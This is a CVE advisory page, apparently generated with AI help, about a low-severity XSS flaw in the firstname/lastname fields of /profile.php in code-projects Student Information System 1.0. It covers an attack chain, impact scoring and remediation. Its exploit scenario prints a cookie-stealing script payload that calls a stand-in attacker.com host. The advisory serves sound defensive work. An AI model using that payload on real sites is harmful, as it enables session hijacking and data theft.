Student Information System
CVE-2025-15052
LOW
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAttacker creates or compromises user account
-
DeliveryCrafts XSS payload in firstname/lastname parameter
-
ExploitSubmits profile update via /profile.php
-
ExecutionVictim receives link to modified profile
-
PersistVictim clicks link and script executes in browser
-
ImpactSession cookie or sensitive data exfiltrated
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires: (1) Valid authenticated user account (PR:L) on the Student Information System; (2) Access to the /profile.php endpoint with permission to edit firstname or lastname fields; (3) A victim who views the attacker's profile or receives a malicious link to the victim's own profile with injected parameters (UI:P); (4) No Content Security Policy or output encoding protecting against script injection. The attack does NOT require administrative privileges, installation of malware, or system-level access. Exploitation is LIMITED by the authentication requirement (PR:L rules out unauthenticated remote attacks) and user interaction requirement (UI:P means a victim must click a link or voluntarily visit a page). If firstname/lastname fields are not user-editable (e.g., admin-only, auto-populated from LDAP), exploitation is blocked. Default installations with public user registration enabled are more vulnerable than those with restricted account creation. |
| Impact | Despite a low CVSS score of 2.0, multiple factors must be evaluated together. The CVSS:4.0 vector indicates network accessibility (AV:N) but mandates user authentication (PR:L - low privilege required) and user interaction (UI:P), significantly limiting exploitability. The integrity violation is limited (VI:L) rather than high-impact. EPSS assigns only 0.06% exploitation probability (percentile 18%), reflecting very low likelihood of widespread automated exploitation. However, publicly available exploit code exists (POC confirmed), and the attack surface is straightforward (unsanitized input in a common parameter). Real-world risk is LOW for organizations where: (1) user accounts are not widely distributed to untrusted parties, (2) profile editing is infrequently performed, or (3) phishing precedes exploitation. Risk is ELEVATED if (1) public user registration is enabled, (2) student-created accounts have profile editing rights, or (3) the application is deployed in environments with high-value social engineering targets. The gap between POC availability and low EPSS suggests targeted rather than mass exploitation. No conflicting signals detected between CVSS and EPSS - both align on low practical impact. |
| Exploit ScenarioDerived | An authenticated attacker (or social engineer inducing a legitimate user) submits a profile update with a malicious JavaScript payload embedded in the firstname parameter, such as firstname=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>. When the victim or administrator views the attacker's profile, the injected script executes in their browser session, exfiltrating session cookies or performing actions on behalf of the victim. Publicly available POC code on GitHub demonstrates this attack vector. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 29, 2026
Cross-site scripting (XSS) via unsanitized firstname and lastname parameters in /profile.php of code-projects Student Information System 1.0 allows authenticated remote attackers with user interaction to inject malicious scripts affecting confidentiality. The vulnerability carries a low CVSS score (2.0) due to authentication and user interaction requirements, but publicly available exploit code exists and EPSS analysis assigns 0.06% exploitation probability, reflecting limited real-world attack likelihood despite public POC availability.
RemediationAI
No vendor-released patch identified at time of analysis. Primary mitigation is to upgrade to a patched version if available from the vendor; check https://code-projects.org/ for updates beyond version 1.0. If patching is not immediately possible, implement compensating controls: (1) Apply input validation to firstname and lastname parameters using a whitelist approach (alphanumeric and safe characters only); (2) Encode all user-supplied input with HTML entity encoding (e.g., htmlspecialchars() in PHP with ENT_QUOTES flag) before rendering in HTML context; (3) Implement Content Security Policy (CSP) headers (e.g., 'Content-Security-Policy: default-src self; script-src self') to restrict inline script execution; (4) Restrict profile editing functionality to administrators or validated trusted users only; (5) Apply web application firewall (WAF) rules to block common XSS payloads in firstname/lastname parameters. Trade-offs: whitelist validation may inconvenience users with non-ASCII names; CSP may break legitimate inline scripts; restricting profile editing reduces user autonomy.
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability is a reflected or stored XSS flaw in a PHP-based web application (CWE-79: Improper Neutralization of Input During Web Page Generation). The /profile.php endpoint accepts firstname and lastname parameters without proper input validation or output encoding. When user-supplied input is rendered in HTML context without sanitization, attackers can inject JavaScript payloads that execute in the victim's browser. The CPE identifier (cpe:2.3:a:fabian:student_information_system:1.0) confirms the affected product is the Fabian-developed Student Information System version 1.0, a web-based educational management platform written in PHP.
Know when Student Information System gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Primary rating from Vendor (vuldb) · only source for this CVE.
CVSS VectorVendor: vuldb
DescriptionCVE.org
A vulnerability was detected in code-projects Student Information System 1.0. This vulnerability affects unknown code of the file /profile.php. Performing manipulation of the argument firstname/lastname results in cross site scripting. The attack is possible to be carried out remotely. The exploit is now public and may be used.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Affected Products (CPE)CVE.org
More in Student Information System
View allStudent Information System v1.0 is vulnerable to an unauthenticated SQL Injection vulnerability on the 'regno' parameter
Incorrect access control in the component /rest/staffResource/create of Serosoft Solutions Pvt Ltd Academia Student Info
Student Information System v1.0 is vulnerable to multiple Authenticated SQL Injection vulnerabilities. Rated high severi
Student Information System v1.0 is vulnerable to multiple Authenticated SQL Injection vulnerabilities. Rated high severi
Student Information System v1.0 is vulnerable to multiple Authenticated SQL Injection vulnerabilities. Rated high severi
Student Information System v1.0 is vulnerable to an Insecure File Upload vulnerability on the 'photo' parameter of my-pr
An arbitrary file upload vulnerability via writefile.php of Serosoft Academia Student Information System (SIS) EagleR-1.
Reflected Cross-Site Scripting vulnerability in Modules.php in RosarioSIS Student Information System < 6.5.1 allows remo
A vulnerability classified as critical was found in SourceCodester Student Information System. Rated critical severity (
SQL injection in code-projects Student Information System 1.0's search functionality enables remote, unauthenticated att
A vulnerability has been found in code-projects Student Information System 2.0.php. Rated medium severity (CVSS 6.9), th
A flaw has been found in code-projects Student Information System 2.0. Rated medium severity (CVSS 6.9), this vulnerabil
NVD
CVE.org
EPSS
GitHub
VulDB
Exploit-DB